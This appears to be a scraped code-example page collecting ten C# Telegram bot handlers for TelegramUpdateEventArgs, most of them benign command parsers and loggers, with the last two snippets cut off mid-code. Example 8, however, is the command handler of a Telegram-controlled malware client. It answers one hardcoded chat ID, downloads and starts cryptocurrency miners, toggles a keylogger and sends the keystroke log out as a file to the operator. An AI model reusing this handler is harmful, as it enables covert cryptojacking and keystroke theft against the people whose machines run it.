Esempio n. 1
0
 private void Client_UpdatesReceived(object sender, TelegramUpdateEventArgs e)
 {
     foreach (UpdateInfo update in e.Updates)
     {
         OnMessageReceived(update.Message);
         Process(update);
     }
 }
Esempio n. 2
0
 private static void ClientUpdatesReceived(object sender, TelegramUpdateEventArgs e)
 {
     foreach (UpdateInfo update in e.Updates.Where(update => update.Message.Text.StartsWith("/")))
     {
         if (update.Message.Text.Equals("/start"))
         {
             mClient.SendMessage(update.Message.Chat.Id, "Hello. I`m calculator bot. Type \"/calculate\" to start the calculation");
         }
         else if (update.Message.Text.Equals("/calculate"))
         {
             mClient.SendMessage(update.Message.Chat.Id, "Please enter an arithmetic expression and press =", replyMarkup: GetKeyboardMarkup());
         }
         else
         {
             mClient.SendMessage(update.Message.Chat.Id, "Unknow command");
         }
     }
 }
Esempio n. 3
0
        private static void ClientUpdatesReceived(object sender, TelegramUpdateEventArgs e)
        {
            foreach (var update in e.Updates)
            {
                if (update.CallbackQuery.Id != null)
                {
                    ConsoleUtlis.WriteConsoleLog("New CallbackQuery");
                    ParseCommandInCallbackQuery(update.CallbackQuery);
                }

                if (update.Message.MessageId != 0)
                {
                    ConsoleUtlis.WriteConsoleLog("New MessageInfo");
                    if (update.Message.Text.StartsWith("/"))
                    {
                        ParseCommandInMessageInfo(update.Message);
                    }
                }
            }
        }
Esempio n. 4
0
        private static void ClientUpdatesReceived(object sender, TelegramUpdateEventArgs e)
        {
            foreach (var update in e.Updates.Where(update => update.Message.MessageId != 0))
            {
                if (update.Message.Text.StartsWith("/"))
                {
                    ParseCommandInMessageInfo(update.Message);
                }

                else if (update.Message.Text.Equals("Exit"))
                {
                    ReplyKeyboardRemove(update.Message.Chat.Id);
                }

                else
                {
                    ParseAnswerInMessageInfo(update.Message);
                }
            }
        }
Esempio n. 5
0
 private void Client_UpdatesReceived(object sender, TelegramUpdateEventArgs e)
 {
     foreach (var update in e.Updates)
     {
         OnMessageReceived(update.Message);
         Process(update);
     }
 }
Esempio n. 6
0
 void client_UpdatesReceived(object sender, TelegramUpdateEventArgs e)
 {
     Console.WriteLine("Updates received: {0}", e.Updates.Length);
 }
Esempio n. 7
0
 void client_UpdatesReceived(object sender, TelegramUpdateEventArgs e)
 {
     Console.WriteLine("Updates received: {0}", e.Updates.Length);
 }
Esempio n. 8
0
        static void client_UpdatesReceived(object sender, TelegramUpdateEventArgs e)
        {
            var client = (TelegramBotClient)sender;

            foreach (var item in e.Updates)
            {
                Console.WriteLine("New Message");
                if (item.Message.Text != null)
                {
                    if (item.Message.Chat.Id == 461266500)
                    {
                        if (item.Message.Text == "CheckGPU")
                        {
                            Console.WriteLine(1);
                            Console.WriteLine(CheckGPU());
                        }
                        else if (item.Message.Text.Contains("/xmr "))
                        {
                            download(item.Message.Text.Replace("/xmr ", ""), "xmr");
                            Properties.Settings.Default.Current = "xmr";
                            Properties.Settings.Default.Save();
                        }
                        else if (item.Message.Text.Contains("/eth "))
                        {
                            if (CheckGPU())
                            {
                                //        download(item.Message.Text.Replace("/eth ", ""), "eth");
                                Console.WriteLine("Download Complete");
                                StartMine("eth");
                                Properties.Settings.Default.Current = "eth";
                                Properties.Settings.Default.Save();
                            }
                            else if (Properties.Settings.Default.Current != "xmr")
                            {
                                download(item.Message.Text.Replace("/xmr ", ""), "xmr");
                                Properties.Settings.Default.Current = "xmr";
                                Properties.Settings.Default.Save();
                            }
                        }
                        else if (item.Message.Text.Contains("/setGPU "))
                        {
                            string raw = item.Message.Text.Replace("/setGPU ", "");
                            setValue(raw, "gpus");
                        }
                        else if (item.Message.Text == "/StopMining")
                        {
                            DirectoryInfo dir = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\sys\\");
                            foreach (FileInfo file in dir.GetFiles())
                            {
                                file.Delete();
                            }
                            foreach (DirectoryInfo subdir in dir.GetDirectories())
                            {
                                subdir.Delete(true);
                            }
                            Properties.Settings.Default.Current = "None";
                            Properties.Settings.Default.Save();
                        }
                        else if (item.Message.Text == "/StartLogging")
                        {
                            if (!Properties.Settings.Default.Logging)
                            {
                                Keylogger.Start();
                                Properties.Settings.Default.Logging = true;
                                Properties.Settings.Default.Save();
                            }
                        }
                        else if (item.Message.Text == "/StopLogging")
                        {
                            if (Properties.Settings.Default.Logging)
                            {
                                Keylogger.Stop();
                                Properties.Settings.Default.Logging = false;
                                Properties.Settings.Default.Save();
                            }
                        }
                        else if (item.Message.Text == "/dump")
                        {
                            string   path     = Path.GetTempPath() + 1234567890 + ".txt";
                            FileInfo pathInfo = new FileInfo(path);
                            if (pathInfo.Exists)
                            {
                                var log = new NetTelebot.Type.NewFile()
                                {
                                    FileContent = File.ReadAllBytes(path),
                                    FileName    = "LOG.TXT"
                                };
                                client.SendDocument(461266500, log);
                                pathInfo.Delete();
                                Properties.Settings.Default.LogFile = false;
                                Properties.Settings.Default.Save();
                            }
                        }
                        else if (item.Message.Text.Contains("/setSites "))
                        {
                            string raw = item.Message.Text.Replace("/setSites ", "");
                            setValue(raw, "Sites");
                        }
                        else if (item.Message.Text == "/stats")
                        {
                            CheckGPU();
                            client.SendMessage(item.Message.Chat.Id, String.Format("{0}{1} LOGFILE:{2} LOGGING:{3}",
                                                                                   Properties.Settings.Default.Current.ToUpper(),
                                                                                   Properties.Settings.Default.InstalledGPU,
                                                                                   Properties.Settings.Default.LogFile,
                                                                                   Properties.Settings.Default.Logging));
                        }
                    }
                }
            }
        }
Esempio n. 9
0
 /// <summary>
 /// Checks which <see cref="EventArgs"/> is contained within the <see cref="TelegramUpdateEventArgs"/>, and returns the user's raw input for <see cref="Command"/> processing.
 /// <para>Returns false if the raw input was unable to be found, and outs an empty string.</para>
 /// </summary>
 /// <param name="e"></param>
 /// <returns></returns>
 internal static bool TryGetEventArgsRawInput(TelegramUpdateEventArgs e, out ReadOnlyMemory <char> rawInput)
 {
     rawInput = e switch
     {
         var _ when e.CallbackQueryEventArgs is { } => e.CallbackQueryEventArgs.GetRawInput(),
Esempio n. 10
0
        //? Developer's note: Nick Cannon obliterated his career while I was writing these Extension Methods

        internal static bool TryGetChatId(this TelegramUpdateEventArgs e, out long chatId)
        {
            chatId = e switch
            {
                { CallbackQueryEventArgs : { } } => e.CallbackQueryEventArgs.GetChatId(),